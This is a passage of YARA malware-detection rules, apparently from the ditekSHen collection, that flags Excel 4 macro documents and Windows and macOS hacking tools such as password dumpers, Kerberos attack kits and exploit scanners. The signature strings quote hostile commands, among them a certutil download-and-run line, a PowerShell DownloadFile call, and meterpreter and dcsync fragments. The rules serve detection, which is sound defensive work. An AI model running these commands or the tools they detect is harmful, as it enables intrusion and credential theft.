		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "ab3994e4082390f65d030db0b898a20df1d7e4b0ca2fdedc7a9d0f1480fd0334"
		score = 75
		quality = 75
		tags = "FILE"
		clamav_sig = "INDICATOR.OOXML.Excel4MacrosEXEC"
	strings:
		$ms = "<xm:macrosheet" ascii nocase
		$s1 = ">FORMULA.FILL(" ascii nocase
		$s2 = ">REGISTER(" ascii nocase
		$s3 = ">EXEC(" ascii nocase
		$s4 = ">RUN(" ascii nocase
	condition:
		uint32( 0 ) == 0x6d783f3c and $ms and ( 2 of ( $s* ) or ( $s3 ) )
}

rule DITEKSHEN_INDICATOR_OOXML_Excel4Macros_Autoopenhidden : FILE
{
	meta:
		description = "Detects OOXML (decompressed) documents with Excel 4 Macros XLM macrosheet auto_open and state hidden"
		author = "ditekSHen"
		id = "c5aab620-5254-5fc6-b236-4fe0f69cbd8e"
		date = "2020-11-06"
		modified = "2024-09-06"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_office.yar#L900-L910"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "a93d8aa7ac025a0c2e8a9ac833f6d4c3cd3769ffca3f87455f43411d0021e828"
		score = 75
		quality = 75
		tags = "FILE"
		clamav_sig = "INDICATOR.OOXML.Excel4MacrosEXEC"
	strings:
		$s1 = "state=\"veryhidden\"" ascii nocase
		$s2 = "<definedName name=\"_xlnm.Auto_Open" ascii nocase
	condition:
		uint32( 0 ) == 0x6d783f3c and all of them
}

rule DITEKSHEN_INDICATOR_SUSPICOIUS_RTF_Encodedurl : FILE
{
	meta:
		description = "Detects executables calling ClearMyTracksByProcess"
		author = "ditekSHen"
		id = "6b3f0434-24b2-5ae8-a6fc-c0fdded4996f"
		date = "2020-11-06"
		modified = "2024-09-06"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_office.yar#L930-L941"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "cb791bb5e2af46ff9f1f07cef33bbd51edc44b2394d6f3eff31d39eaa5ff2a33"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "\\u-65431?\\u-65419?\\u-65419?\\u-65423?\\u-" ascii wide
		$s2 = "\\u-65432?\\u-65420?\\u-65420?\\u-65424?\\u-" ascii wide
		$s3 = "\\u-65433?\\u-65430?\\u-65427?\\u-65434?\\u-" ascii wide
		$s4 = "\\u-65434?\\u-65431?\\u-65428?\\u-65435?\\u-" ascii wide
	condition:
		uint32( 0 ) == 0x74725c7b and any of them
}

rule DITEKSHEN_INDICATOR_TOOL_PWS_Credstealer : FILE
{
	meta:
		description = "Detects Python executable for stealing credentials including domain environments. Observed in MuddyWater."
		author = "ditekSHen"
		id = "ab587b12-f3e1-5f08-b27c-03ee9752e513"
		date = "2020-11-06"
		modified = "2024-09-25"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L22-L41"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "e729c8b0b1db642acabbc4590833c05ce81447bb89e5f40aea5f0b8ebdee4438"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "PYTHON27.DLL" fullword wide
		$s2 = "C:\\Python27\\lib\\site-packages\\py2exe\\boot_common.pyR" fullword ascii
		$s3 = "C:\\Python27\\lib\\site-packages\\py2exe\\boot_common.pyt" fullword ascii
		$s4 = "subprocess.pyc" fullword ascii
		$s5 = "MyGetProcAddress(%p, %p(%s)) -> %p" fullword ascii
		$p1 = "Dump SAM hashes from target systemss" fullword ascii
		$p2 = "Dump LSA secrets from target systemss" fullword ascii
		$p3 = "Dump the NTDS.dit from target DCs using the specifed method" fullword ascii
		$p4 = "Dump NTDS.dit password historys" fullword ascii
		$p5 = "Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameterss" fullword ascii
		$p6 = "Retrieve plaintext passwords and other information for accounts pushed through Group Policy Preferencess" fullword ascii
		$p7 = "Combo file containing a list of domain\\username:password or username:password entriess" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( 3 of ( $s* ) and 1 of ( $p* ) )
}

rule DITEKSHEN_INDICATOR_TOOL_PWS_Fgdump : FILE
{
	meta:
		description = "detects all versions of the password dumping tool, fgdump. Observed to be used by DustSquad group."
		author = "ditekSHen"
		id = "2759fce2-db2a-5a48-bb37-931fd847a32d"
		date = "2020-11-06"
		modified = "2024-09-25"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L64-L81"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "fdccd91a84374f7c94843bd9c2191720959416acf2e33d7b28b42d63d7ea4ce3"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "dumping server %s" ascii
		$s2 = "dump on server %s" ascii
		$s3 = "dump passwords: %s" ascii
		$s4 = "Dumping cache" nocase ascii
		$s5 = "SECURITY\\Cache" ascii
		$s6 = "LSASS.EXE process" ascii
		$s7 = " AntiVirus " nocase ascii
		$s8 = " IPC$ " ascii
		$s9 = "Exec failed, GetLastError returned %d" fullword ascii
		$10 = "writable connection to %s" ascii
	condition:
		uint16( 0 ) == 0x5a4d and 5 of them
}

rule DITEKSHEN_INDICATOR_TOOL_PWS_Blackbone : FILE
{
	meta:
		description = "detects Blackbone password dumping tool on Windows 7-10 operating system."
		author = "ditekSHen"
		id = "a6d9f9d1-75fb-51af-87ad-80b4e135e759"
		date = "2020-11-06"
		modified = "2024-09-25"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L112-L129"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "e9dacd28accaef8a93ff8d3b5cf9437b3848791711a4a7118ab46d2bb6ca42d3"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "BlackBone: %s: " ascii
		$s2 = "\\BlackBoneDrv\\" ascii
		$s3 = "\\DosDevices\\BlackBone" fullword wide
		$s4 = "\\Temp\\BBImage.manifest" wide
		$s5 = "\\Device\\BlackBone" fullword wide
		$s6 = "BBExecuteInNewThread" fullword ascii
		$s7 = "BBHideVAD" fullword ascii
		$s8 = "BBInjectDll" fullword ascii
		$s9 = "ntoskrnl.exe" fullword ascii
		$s10 = "WDKTestCert Ton," ascii
	condition:
		uint16( 0 ) == 0x5a4d and 5 of them
}

rule DITEKSHEN_INDICATOR_TOOL_SCN_Portscan : FILE
{
	meta:
		description = "Detects a port scanner tool observed as second or third stage post-compromise or dropped by malware."
		author = "ditekSHen"
		id = "f270e098-17a0-5d66-acd0-c946a29919f4"
		date = "2020-11-06"
		modified = "2024-09-25"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L166-L180"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "ebe5eb045a250ca38a55ac43018548074e9db160d76737c36f8ae5ea268b7b10"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "HEAD / HTTP/1.0" fullword ascii
		$s2 = "Result.txt" fullword ascii
		$s3 = "Example: %s SYN " ascii
		$s4 = "Performing Time: %d/%d/%d %d:%d:%d -->" fullword ascii
		$s5 = "Bind On IP: %d.%d.%d.%d" fullword ascii
		$s6 = "SYN Scan: About To Scan %" ascii
		$s7 = "Normal Scan: About To Scan %" ascii
	condition:
		uint16( 0 ) == 0x5a4d and 5 of them
}

rule DITEKSHEN_INDICATOR_TOOL_PWS_Sniffpass : FILE
{
	meta:
		description = "Detects SniffPass, a password monitoring software that listens on the network and captures passwords over POP3, IMAP4, SMTP, FTP, and HTTP."
		author = "ditekSHen"
		id = "b96498d4-bbe3-5cb8-9c24-91ebb51e078a"
		date = "2020-11-06"
		modified = "2024-09-25"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L197-L212"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "9b56ee4bac39b4220b24e92d00076650ffe84b71a60c0213a84fcf21c6cfe4cf"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "\\Release\\SniffPass.pdb" ascii
		$s2 = "Password   Sniffer" fullword wide
		$s3 = "Software\\NirSoft\\SniffPass" fullword ascii
		$s4 = "Sniffed PasswordsCFailed to start" wide
		$s5 = "Pwpcap.dll" fullword ascii
		$s6 = "nmwifi.exe" fullword ascii
		$s7 = "NmApi.dll" fullword ascii
		$s8 = "npptools.dll" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and 4 of them
}


rule DITEKSHEN_INDICATOR_TOOL_PWS_Pwdump7 : FILE
{
	meta:
		description = "Detects Pwdump7 password Dumper"
		author = "ditekSHen"
		id = "dc6ff544-b9de-547b-9fa8-7d0b32e9592d"
		date = "2020-11-06"
		modified = "2024-09-25"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L242-L254"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "f84ab69ecc6837a826dc8726785165b8135edf51a47fb5bbaf19dc589b3032bd"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "savedump.dat" fullword ascii
		$s2 = "Asd -_- _RegEnumKey fail!" fullword ascii
		$s3 = "\\SAM\\" ascii
		$s4 = "Unable to dump file %S" fullword ascii
		$s5 = "NO PASSWORD" ascii
	condition:
		( uint16( 0 ) == 0x5a4d and 4 of them ) or ( all of them )
}

rule DITEKSHEN_INDICATOR_TOOL_PRV_Advancedrun : FILE
{
	meta:
		description = "Detects NirSoft AdvancedRun privialge escalation tool"
		author = "ditekSHen"
		id = "c886951a-7ee9-5d38-a724-3dbba8c6ec31"
		date = "2020-11-06"
		modified = "2024-09-25"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L277-L289"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "3f39e8f0629647f44a2f473d7b49a8b6adb1acd62de36420b80e7820e63854bb"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "RunAsProcessName" fullword wide
		$s2 = "Process ID/Name:" fullword wide
		$s3 = "swinsta.dll" fullword wide
		$s4 = "User of the selected process0Child of selected process (Using code injection) Specified user name and password" fullword wide
		$s5 = "\"Current User - Allow UAC Elevation$Current User - Without UAC Elevation#Administrator (Force UAC Elevation)" fullword wide
	condition:
		uint16( 0 ) == 0x5a4d and 3 of them
}

rule DITEKSHEN_INDICATOR_TOOL_PWS_Amady : FILE
{
	meta:
		description = "Detects password stealer DLL. Dropped by Amadey"
		author = "ditekSHen"
		id = "6ee4e25b-bf38-5664-a08f-94e3fa92aa29"
		date = "2020-11-06"
		modified = "2024-09-25"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L291-L306"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "409374bec5f58abeb7741b41f0fc7ea1c3fdc7bbc3f0c0628db0e3aac82836d1"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\\AppData" fullword ascii
		$s2 = "Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook" ascii
		$s3 = "\\Mikrotik\\Winbox\\Addresses.cdb" fullword ascii
		$s4 = "\\HostName" fullword ascii
		$s5 = "\\Password" fullword ascii
		$s6 = "SOFTWARE\\RealVNC\\" ascii
		$s7 = "SOFTWARE\\TightVNC\\" ascii
		$s8 = "cred.dll" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 400KB and 7 of them
}

rule DITEKSHEN_INDICATOR_TOOL_SCR_Amady : FILE
{
	meta:
		description = "Detects screenshot stealer DLL. Dropped by Amadey"
		author = "ditekSHen"
		id = "f7660899-ed12-5765-a856-6a1c7bbd8978"
		date = "2020-11-06"
		modified = "2024-09-25"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L308-L320"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "9e7ab39976e3219f0c6c3ce5341442343cc4baf30757cd1c9d0c2d3845fdda2f"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "User-Agent: Uploador" fullword ascii
		$s2 = "Content-Disposition: form-data; name=\"data\"; filename=\"" fullword ascii
		$s3 = "WebUpload" fullword ascii
		$s4 = "Cannot assign a %s to a %s%List does not allow duplicates ($0%x)%String" wide
		$s5 = "scr.dll" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 700KB and 4 of them
}

rule DITEKSHEN_INDICATOR_TOOL_EXP_Weblogic : FILE
{
	meta:
		description = "Detects Windows executables containing Weblogic exploits commands"
		author = "ditekSHen"
		id = "e761a968-35cb-5284-99f2-6d516ad348e3"
		date = "2020-11-06"
		modified = "2024-09-25"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L344-L353"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "01855f1125b0ba87dd40f7d460440dbda2d75c8b484e842a2b2e20c089b4ab5e"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "certutil.exe -urlcache -split -f AAAAA BBBBB & cmd.exe /c BBBBB" ascii
		$s2 = "powershell (new-object System.Net.WebClient).DownloadFile('AAAAA','BBBBB')" ascii
	condition:
		uint16( 0 ) == 0x5a4d and 1 of them
}

rule DITEKSHEN_INDICATOR_TOOL_SCN_Smbtouch : FILE
{
	meta:
		description = "Detects SMBTouch scanner EternalBlue, EternalChampion, EternalRomance, EternalSynergy"
		author = "ditekSHen"
		id = "4e8176dd-4113-5fa8-a695-77e7169f6975"
		date = "2020-11-06"
		modified = "2024-09-25"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L376-L400"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "78c2a435762d3febe927eb15910d5a18c1ffe74604673463543d3c859f5ef8e9"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "[+] SMB Touch started" fullword ascii
		$s2 = "[-] Could not connect to share (0x%08X - %s)" fullword ascii
		$s3 = "[!] Target could be either SP%d or SP%d," fullword ascii
		$s4 = "[!] for these SMB exploits they are equivalent" fullword ascii
		$s5 = "[+] Target is vulnerable to %d exploit%s" fullword ascii
		$s6 = "[+] Touch completed successfully" fullword ascii
		$s7 = "Network error while determining exploitability" fullword ascii
		$s8 = "Named pipe or share required for exploit" fullword ascii
		$w1 = "UsingNbt" fullword ascii
		$w2 = "TargetPort" fullword ascii
		$w3 = "TargetIp" fullword ascii
		$w4 = "RedirectedTargetPort" fullword ascii
		$w5 = "RedirectedTargetIp" fullword ascii
		$w6 = "NtlmHash" fullword ascii
		$w7 = "\\PIPE\\LANMAN" fullword ascii
		$w8 = "UserRejected: " fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( 2 of ( $s* ) or all of ( $w* ) )
}

rule DITEKSHEN_INDICATOR_TOOL_SCN_Nbtscan : FILE
{
	meta:
		description = "Detects NBTScan scanner for open NETBIOS nameservers on a local or remote TCP/IP network"
		author = "ditekSHen"
		id = "663c324e-4784-5efe-bbdf-60fa42e13944"
		date = "2020-11-06"
		modified = "2024-09-25"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L402-L420"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "a81b95ad60aac4d66586ae7dc61f6bcbe2b7185b66b2bb895f45abff3ad3f430"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "[%s] is an invalid target (bad IP/hostname)" fullword ascii
		$s2 = "ERROR: no parse for %s -- %s" fullword ascii
		$s3 = "add_target failed" fullword ascii
		$s4 = "   -p <n>    bind to UDP Port <n> (default=%d)" fullword ascii
		$s5 = "process_response.c" fullword ascii
		$s6 = "currTarget != 0" fullword ascii
		$s7 = "parse_target.c" fullword ascii
		$s8 = "dump_packet.c" fullword ascii
		$s9 = "parse_target_cb.c" fullword ascii
		$s10 = "DUMP OF PACKET" fullword ascii
		$s11 = "lookup_hostname.c" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and 10 of ( $s* )
}

rule DITEKSHEN_INDICATOR_TOOL_PWS_Keychaindumper : FILE
{
	meta:
		description = "Detects macOS certificate/password keychain dumping tool"
		author = "ditekSHen"
		id = "cec094fa-c651-58a6-a306-f16d8603e536"
		date = "2020-11-06"
		modified = "2024-09-25"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L473-L484"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "f606bdd5dba2180ffc552c46373b52801a0bd65a538b381fb9f4240efc5bd458"
		score = 75
		quality = 71
		tags = "FILE"
		clamav_sig = "INDICATOR_Osx.Tool.PWS.KeychainDumper"
	strings:
		$s1 = "_getEmptyKeychainItemString" fullword ascii
		$s2 = "NdumpKeychainEntitlements" fullword ascii
		$s3 = "_dumpKeychainEntitlements" fullword ascii
	condition:
		( uint16( 0 ) == 0xfeca or uint16( 0 ) == 0xfacf ) and all of them
}

rule DITEKSHEN_INDICATOR_TOOL_PET_P0Wnedshell : FILE
{
	meta:
		description = "Detects compiled executables of p0wnedShell post-exploitation toolkit"
		author = "ditekSHen"
		id = "7df8f9b4-48d3-5271-9d60-5dd4bfaed316"
		date = "2020-11-06"
		modified = "2024-09-25"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L486-L512"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "9745b69573bf695fdada122143fb1889a7b2025250b5fb1e8f1a86b3be6f27d3"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "Use WinRM, PsExec, SMB/WMI to execute commands on remote systems" wide
		$s2 = "-CreateProcess \"cmd.exe\" -Username \"nt authority\\system\"" wide
		$s3 = "-Command '\"lsadump::dcsync /user:" wide
		$s4 = "-Payload windows/meterpreter/reverse_https -Lhost" wide
		$s5 = "Get-Content ./EncodedPayload.bat" fullword wide
		$e1 = "OnYNAB+LCAAAAAAABAC8vOeS60iSLvh75yly+rZZVxuqC4KQs3uvLQhFEJIACALoHVuD1oKQBMbuuy+Y4pw8dUTf3R+bZlWVZHh87uHh4vPItv63ZGrCMW+bF7GZ2zL+" wide
		$e2 = "kuIeAB+LCAAAAAAABADsvWt327iuMPw9v0Jv27Wa7DqJc2ma5nl71vZFTpzx/ZJL+3TlyLZiq7EtjyTHcffZ//0BSEqiKEqWbKczs8941qS2LgAIAiAIguDjfNp3DHOq" wide
		$e3 = "mZYIAB+LCAAAAAAABADsvflj2zyOMPx7/gptmnftbBIfuZp0t/OOfMZp7PjO0adfX9lSbCWy5Vp2HGfm+d8/ACQl6vCRNp2Z3bVmnioWSRAEQQAESfC/Pmwp8FTtmTFu" wide
		$e4 = "u9YGAB+LCAAAAAAABADsvW1D40ayKPw9v0Lr4V7ZE8vY5mUY9rKJBzMTnmWAgyGTvYTlCluAdmzJK9nDsEn++1NV/S61ZJmXZJIN52wG7O7q6urq6qrqquoXSfDveZgE" wide
		$e5 = "T3gDAB+LCAAAAAAABADtvX1f2zq2KPz3yafQzuZcwi5JEydQ2nM7v4cCnc0zQLmE7j3z6+7NmMQBnwY7YzsFTqff/WpJsi3Jki07DlA2mT008ctaS0tL601L0nThjSPX" wide
		$e6 = "zRgDAB+LCAAAAAAABADtfW1327jR6OdHv4Kr9TmWdiVZkl+SdZs913Gcrm9tx7WcbvekuS4t0TYbiVRJKYmfbf77xeCNeCVBinKcbNStI5HAYDAYDAaDwczNMhovwjjy" wide
		$e7 = "pxICAB+LCAAAAAAABADtvf17GkeyKPyz+Cvmlfw+ggRhfcXr1X1znsUIx5yVhC7IUbI+fnUHGKRZwww7M1jWyeZ/v1XV3z09wABysnviZ1cBpqe6urqquqq6uno8j4ZZ" wide
		$e8 = "H4sIAAAAAAAEANy9e3wTVfo4PG1SmkLbCdpgFdSgUeuCbLTAthYk005gQhNahUIVkCqIqKi1TaAuIGBaJRzG27Kuul5wV3fV1fUuUFxNKbTl3oJAuaiouE4paAGBFpB5" wide
		$k1 = "EasySystemPPID" fullword ascii
		$k2 = "EasySystemShell" fullword ascii
		$k3 = "LatMovement" fullword ascii
		$k4 = "ListenerURL" fullword ascii
		$k5 = "MeterStager" fullword ascii
		$k6 = "PatchEventLog" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( 3 of ( $s* ) or 7 of ( $e* ) or all of ( $k* ) or ( 2 of ( $s* ) and 2 of ( $e* ) and 2 of ( $k* ) ) )
}

rule DITEKSHEN_INDICATOR_TOOL_PWS_Rubeus : FILE
{
	meta:
		description = "Detects Rubeus kerberos defensive/offensive toolset"
		author = "ditekSHen"
		id = "5af8cee0-e664-5dfe-9932-0e74ed41b6b4"
		date = "2020-11-06"
		modified = "2024-09-25"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L514-L531"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "ee817d23427970d7e77f9ce2a7cbc25c77177d81354fed83e7551cdcbc2d7cd2"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" fullword wide
		$s2 = "(!samAccountName=krbtgt)(!(UserAccountControl:1.2.840.113556.1.4.803:=2))" fullword wide
		$s3 = "rc4opsec" fullword wide
		$s4 = "pwdlastset" fullword wide
		$s5 = "LsaEnumerateLogonSessions" fullword ascii
		$s6 = "extractKerberoastHash" fullword ascii
		$s7 = "ComputeAllKerberosPasswordHashes" fullword ascii
		$s8 = "kerberoastDomain" fullword ascii
		$s9 = "GetUsernamePasswordTGT" fullword ascii
		$s10 = "WriteUserPasswordToFile" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and 8 of them
}

rule DITEKSHEN_INDICATOR_TOOL_UAC_NSISUAC : FILE
{
	meta:
		description = "Detects NSIS UAC plugin"
		author = "ditekSHen"
		id = "4a7c20f6-bf0e-55fb-a0b9-7b51e4af7cd3"
		date = "2020-11-06"
		modified = "2024-09-25"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L575-L587"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "48c0247c789328a0ff62816f5d6ecac7a0f2a3fe2cb95d99c0e7d988147f7137"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "HideCurrUserOpt" fullword wide
		$s2 = "/UAC:%X /NCRC%s" fullword wide
		$s3 = "2MyRunAsStrings" fullword wide
		$s4 = "CheckElevationEnabled" fullword ascii
		$s5 = "UAC.dll" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and all of them
}

rule DITEKSHEN_INDICATOR_TOOL_REM_Intelliadmin : FILE
{
	meta:
		description = "Detects commerical IntelliAdmin remote tool"
		author = "ditekSHen"
		id = "15385e0b-ead4-5614-a04e-55878eb70b34"
		date = "2020-11-06"
		modified = "2024-09-25"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L589-L602"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "8b601d68eff65bc6cc2fb46630a7021e229764f9a80f6d3278ba3b9f55e5b114"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$pdb1 = "\\Network Administrator" ascii
		$pdb2 = "\\Binaries\\Plugins\\Tools\\RPCService.pdb" ascii
		$s1 = "CIntelliAdminRPC" fullword wide
		$s2 = "IntelliAdmin RPC Service" fullword wide
		$s3 = "IntelliAdmin Remote Execute v" ascii
		$s4 = "IntelliAdminRPC" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( all of ( $pdb* ) or 2 of ( $s* ) )
}

rule DITEKSHEN_INDICATOR_TOOL_PET_Sharpwmi : FILE
{
	meta:
		description = "Detects SharpWMI"
		author = "ditekSHen"
		id = "9c58d9fa-04b8-5a9c-8ae9-ff2e7530772f"
		date = "2020-11-06"
		modified = "2024-09-25"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L604-L619"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "e6c5764d0883e2882e06f07e4729362011a4d65614259b85978e1c6ef5cfadb7"
		score = 75
		quality = 73
		tags = "FILE"
	strings:
		$s1 = "scriptKillTimeout" fullword ascii
		$s2 = "RemoteWMIExecuteWithOutput" fullword ascii
		$s3 = "RemoteWMIFirewall" fullword ascii
		$s4 = "iex([char[]](@({0})|%{{$_-bxor{1}}}) -join '')" fullword wide
		$s5 = "\\\\{0}\\root\\subscription" fullword wide
		$s6 = "_Context##RANDOM##" fullword wide
		$s7 = "executevbs" fullword wide
		$s8 = "scriptb64" fullword wide
	condition:
		uint16( 0 ) == 0x5a4d and 4 of them
}

rule DITEKSHEN_INDICATOR_TOOL_PET_Defendercontrol : FILE
{
	meta:
		description = "Detects Defender Control"
		author = "ditekSHen"
		id = "7bc1f26e-2432-5642-b1e7-c87683f7d932"
		date = "2020-11-06"
		modified = "2024-09-25"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L621-L631"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "826ed0643a07580750eb11c4cf2c2759f53b6c2bda51705476edc4808abccbf8"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "Windows Defender Control" wide
		$s2 = "www.sordum.org" wide ascii
		$s3 = "dControl" wide
	condition:
		uint16( 0 ) == 0x5a4d and 2 of them
}

rule DITEKSHEN_INDICATOR_TOOL_PET_Mulit_Venomagent : FILE
{
	meta:
		description = "Detects Venom Proxy Agent"
		author = "ditekSHen"
		id = "598bc773-cbe9-503b-ba3e-27c2cde8910d"
		date = "2020-11-06"
		modified = "2024-09-25"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L633-L645"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "5eda23a237404a44dc9eb057adbf6106166374168eb08e55c182da5c05ecb4f1"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "github.com/Dliv3/Venom/" ascii
		$s2 = "3HpKQVB3nT3qaNQPT-ZU/SKJ55ofz5TEmg5O3ROWA/CUs_-gfa04tGVO633Z4G/OSeEpRRb0Sq_5R6ArIi-" ascii
